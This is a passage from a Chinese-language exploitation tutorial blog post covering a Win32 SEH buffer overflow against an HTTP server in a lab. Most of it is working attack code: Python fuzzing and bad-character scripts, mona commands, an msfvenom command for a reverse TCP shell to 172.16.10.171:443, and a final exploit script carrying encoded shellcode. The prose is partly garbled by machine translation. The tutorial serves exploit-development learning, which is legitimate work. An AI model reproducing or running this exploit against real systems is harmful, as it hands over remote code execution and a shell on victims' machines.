payload = "GET %d" + str(buffer) + " HTTP/1.1\r\n"
payload += "Host: bof.local\r\n"
payload += "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.92 Safari/537.36\r\n"
payload += "Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8"


print "[*] Starting to Fuzz GET Variable with %s bytes" %len(payload)
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=s.connect(('bof.local',80))
print "[*] Connected to bof.local on Port 80"
s.send((payload))
s.close()
print "[*] Finished Fuzzing GET Variable with %s bytes" %len(payload)

一旦完成运行(只要我们已EFSWS打开Immunity和/或连接),我们就会注意到我们实际上造成了崩溃,让我们分析下面的屏幕截图,看看我们做了什么。

如您所见,在这种情况下,我们已经用用户提供的输入超出了nSEHSEH的地址AAAA 41414141-我们也对我们有些新的限制… EAX寄存器 -如您所见,右上方EAX包含的41414141是我们的A缓冲区。-稍后可能会有用。

2.2.2 寻找偏移

现在,我们已经分析了崩溃并找到了漏洞,我们可以继续计算偏移量,并计算出使A's我们超出SEHnSEH指针所需的时间。为此,我将通过以下命令使用mona来计算非重复字符串(也称为循环模式)

1
!mona pc 5000

现在,我将fuzzer.py再次使用我的脚本并将其修改为发送我的模式5000 A's

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#!/usr/bin/python
import socket
import sys
import string

buffer = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6...."


payload = "GET %d" + str(buffer) + " HTTP/1.1\r\n"
payload += "Host: bof.local\r\n"
payload += "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.92 Safari/537.36\r\n"
payload += "Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8"


print "[*] Starting to Fuzz GET Variable with %s bytes" %len(payload)
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=s.connect(('bof.local',80))
print "[*] Connected to bof.local on Port 80"
s.send((payload))
s.close()
print "[*] Finished Fuzzing GET Variable with %s bytes" %len(payload)

我们的应用程序现在将返回崩溃状态并报告访问冲突,但是如果我们检查SEH Chain并跳转到堆栈上的SE Handler的值,我们将注意到它实际上已经超出了我们的循环模式,而不是一长串A's

1
!mona findmsp
1
!mona po 3Ff4

运行以上任一命令都将报告,超出nSEH值的偏移量是4061字节 -我们现在可以修改漏洞利用以反映"A" * 4061

img

2.2.3 寻找坏字符

在这里,我们将采用与上述相同的方法,在该方法中,我们将每个可能的字符发送到缓冲区旁边,并分析它们在内存转储中的显示方式-在此还值得注意的是,我们必须为\n&排除字符,\r因为我们没有希望在我们的缓冲区旁边发送装盒返回和新行,以有效地分解原始HTTP请求

我将在此处使用以下脚本。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#!/usr/bin/python
import socket
import sys


nseh = "B"*4
seh = "C"*4


badchars = ("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"
"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")


buffer = "A" * (4061-len(badchars))
print "[*] There are %s" %len(badchars) + " bad chars to test"
print "[*] Starting to GET Variable"
buffer += badchars #All of badchars
buffer += nseh #BBBB
buffer += seh #CCCC
junk = "D"*(5000-len(buffer))
buffer += junk #Bunch of D"s to fill remaining space

payload = "GET %d" + str(buffer) + " HTTP/1.1\r\n"
payload += "Host: bof.local\r\n"
payload += "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.92 Safari/537.36\r\n"
payload += "Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8"


print "[*] Starting to Fuzz GET Variable with %s bytes" %len(payload)
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=s.connect(('bof.local',80))
print "[*] Connected to bof.local on Port 80"
s.send((payload))
s.close()
print "[*] Finished Fuzzing GET Variable with %s bytes" %len(payload)

假设我们反复冲洗并找到内存转储中的所有无效字符,我们将找到所需的东西,在这种情况下,我的发现是

1
\x00\x0d\x0a\x0c\x20\x25\x2b\x2f\x5c

2.2.4 查找POP POP RET指令

在本文中,我已经对此进行了广泛的介绍,因此,我将直接进入操作并找到包含pop pop ret指令的模块。

当然,我们将再次使用mona通过以下方便的命令来完成此操作

1
!mona seh

当然,这里的目标是找到一个未经任何安全限制(例如ASLRSafe SEH等)编译的模块。

您会注意到,在运行时,!mona seh它会在日志窗口中显示10个结果,但没有一个真正适合您,很容易在这里感到困惑,并开始怀疑是否还有要使用的模块。然而!如果检查seh.txt位于mona工作目录中的.txt文件,您会发现一个非常大的文件,其中包含数百个,甚至数千个可用模块。

以我为例,我滚动浏览了所有以开头的模块,00以避免无意中在缓冲区中实现流氓空字节

我选择的选项是 0x1000108b

现在,我将此值添加到我的python脚本中的SEH变量中,并执行它以验证我的想法是正确的,并且执行按预期进行。

更新的Python脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#!/usr/bin/python
import socket
import sys


nseh = "B"*4
seh = "\x99\xab\x01\x10" #0x1001ab99 pop pop ret


buffer = "A" * 4061
print "[*] Starting to GET Variable"
buffer += nseh #BBBB
buffer += seh #pop pop ret
junk = "D"*(10000-len(buffer))
buffer += junk #Bunch of D"s to fill remaining space

payload = "GET %d" + str(buffer) + " HTTP/1.1\r\n"
payload += "Host: bof.local\r\n"
payload += "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.92 Safari/537.36\r\n"
payload += "Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8"


print "[*] Starting to Fuzz GET Variable with %s bytes" %len(payload)
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=s.connect(('bof.local',80))
print "[*] Connected to bof.local on Port 80"
s.send((payload))
s.close()
print "[*] Finished Fuzzing GET Variable with %s bytes" %len(payload)

执行后检查抗扰性显示SEH Handler现在已被我们的pop pop ret小工具(也称为1001ab99)的内存地址覆盖

而且,如果我们不通过Shift + F9将异常传递给程序,则会将nSEHpop pop ret的值和nSEH的值放置在EIP寄存器中以备执行。答对了!

在这种情况下,053A6FAC是堆栈中nSEH的地址,因此我们执行此位置的任何内容都将被执行。如下面的屏幕截图所示。

2.2.5 生成Shellcode

现在与VulnServer不同,在缓冲区之后我们可以使用的空间非常有限- 在这种情况下,精确到52字节,在我们的nSEHSEH值之后,我们还有很多空间,精确到931字节

现在,只要对我们的shell代码进行一点编码,我们就应该能够将我们的shellcode放在这里,并Short JMPnSEH指针中添加一些代码直接跳入其中。

但是,首先让我们使用可信任的MSFVenom生成一些shellcode

1
m0chan@kali:/> msfvenom -p windows/shell/reverse_tcp LHOST=172.16.10.171 LPORT=443 EXITFUNC=thread -f c -a x86 --platform windows -b "\x00\x0d\x0a\x0c"

您可能会注意到,这次我选择了分段式负载,而无段式只是为了帮助减小负载大小。

2.2.6 最终利用

跳转到shell代码并执行最终的shellcode。为了安全起见,现在要做的所有工作就是将我们的shell代码D与一些缓冲区一起放在缓冲区中NOPS,并从nSEH执行6字节的跳转,该跳转将落入我们的NOP Sled并直接进入shellcode。

我们可以做到这一点

1
nseh = "\xeb\x06\x90\x90"

现在我们的最终漏洞利用将如下所示

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
#!/usr/bin/python
import socket
import sys


nseh = "\xeb\x06\x90\x90"
seh = "\x99\xab\x01\x10" #0x1001ab99 pop pop ret

#msfvenom -p windows/shell/reverse_tcp LHOST=172.16.10.171 LPORT=443 EXITFUNC=thread -f c -a x86 --platform windows -b "\x00\x0d\x0a\x0c\x20\x25\x2b\x2f\x5c"

shellcodenops = "\x90\x90\x90\x90"


shellcode = (
"\xbd\xe0\x3c\x1c\xcb\xda\xc2\xd9\x74\x24\xf4\x5a\x31\xc9\xb1"
"\x5b\x31\x6a\x14\x83\xea\xfc\x03\x6a\x10\x02\xc9\xe0\x23\x40"
"\x32\x19\xb4\x24\xba\xfc\x85\x64\xd8\x75\xb5\x54\xaa\xd8\x3a"
"\x1f\xfe\xc8\xc9\x6d\xd7\xff\x7a\xdb\x01\x31\x7a\x77\x71\x50"
"\xf8\x85\xa6\xb2\xc1\x46\xbb\xb3\x06\xba\x36\xe1\xdf\xb1\xe5"
"\x16\x6b\x8f\x35\x9c\x27\x1e\x3e\x41\xff\x21\x6f\xd4\x8b\x78"
"\xaf\xd6\x58\xf1\xe6\xc0\xbd\x3f\xb0\x7b\x75\xb4\x43\xaa\x47"
"\x35\xef\x93\x67\xc4\xf1\xd4\x40\x36\x84\x2c\xb3\xcb\x9f\xea"
"\xc9\x17\x15\xe9\x6a\xdc\x8d\xd5\x8b\x31\x4b\x9d\x80\xfe\x1f"
"\xf9\x84\x01\xf3\x71\xb0\x8a\xf2\x55\x30\xc8\xd0\x71\x18\x8b"
"\x79\x23\xc4\x7a\x85\x33\xa7\x23\x23\x3f\x4a\x30\x5e\x62\x03"
"\xf5\x53\x9d\xd3\x91\xe4\xee\xe1\x3e\x5f\x79\x4a\xb7\x79\x7e"
"\xdb\xdf\x79\x50\x63\x8f\x87\x51\x94\x86\x43\x05\xc4\xb0\x62"
"\x26\x8f\x40\x8a\xf3\x3a\x4a\x1c\x50\xaa\x40\x77\xc0\xc9\x54"
"\x86\xaa\x47\xb2\xd8\x9c\x07\x6a\x99\x4c\xe8\xda\x71\x87\xe7"
"\x05\x61\xa8\x2d\x2e\x08\x47\x98\x07\xa5\xfe\x81\xd3\x54\xfe"
"\x1f\x9e\x57\x74\xaa\x5f\x19\x7d\xdf\x73\x4e\x1a\x1f\x8b\x8f"
"\x8f\x1f\xe1\x8b\x19\x77\x9d\x91\x7c\xbf\x02\x69\xab\xc3\x44"
"\x95\x2a\xf2\x3f\xa0\xb8\xba\x57\xcd\x2c\x3b\xa7\x9b\x26\x3b"
"\xcf\x7b\x13\x68\xea\x83\x8e\x1c\xa7\x11\x31\x75\x14\xb1\x59"
"\x7b\x43\xf5\xc5\x84\xa6\x85\x02\x7a\x35\xa2\xaa\x13\xc5\xf2"
"\x4a\xe4\xaf\xf2\x1a\x8c\x24\xdc\x95\x7c\xc5\xf7\xfd\x14\x4c"
"\x96\x4c\x84\x51\xb3\x11\x18\x52\x30\x8a\xab\x29\x39\x2d\x4c"
"\xce\x53\x4a\x4c\xcf\x5b\x6c\x70\x06\x62\x1a\xb7\x9b\xd1\x05"
"\x2a\x31\x2c\xae\xf3\xd0\x8d\xb3\x03\x0f\xd1\xcd\x87\xa5\xaa"
"\x29\x97\xcc\xaf\x76\x1f\x3d\xc2\xe7\xca\x41\x71\x07\xdf")

buffer = "A" * 4061
print "[*] Starting to GET Variable"
buffer += nseh #BBBB
buffer += seh #pop pop ret
buffer += shellcodenops
buffer += shellcode
junk = "D"*(10000-len(buffer))
buffer += junk #Bunch of D"s to fill remaining space

payload = "GET %d" + str(buffer) + " HTTP/1.1\r\n"
payload += "Host: bof.local\r\n"
payload += "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.92 Safari/537.36\r\n"
payload += "Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8"


print "[*] Starting to Fuzz GET Variable with %s bytes" %len(payload)
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=s.connect(('bof.local',80))
print "[*] Connected to bof.local on Port 80"
s.send((payload))
s.close()
print "[*] Finished Fuzzing GET Variable with %s bytes" %len(payload)

VulnServer相似-我还在Visio中创建了一个漂亮的小图,以演示该漏洞利用过程并从较高的角度进行跳转。

0x03 参考资料/资源

特别鸣谢以下所有民众:

https://h0mbre.github.io

https://www.securitysift.com

https://captmeelo.com

https://www.fuzzysecurity.com

https://securitychops.com

https://nutcrackerssecurity.github.io/Windows4.html


文章作者: madcoding
文章链接: https://www.mad-coding.cn/2019/10/11/Win32缓冲区溢出-SEH溢出和Egghunters/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 madcoding’s blog
打赏
  • 微信
  • 支付宝

评论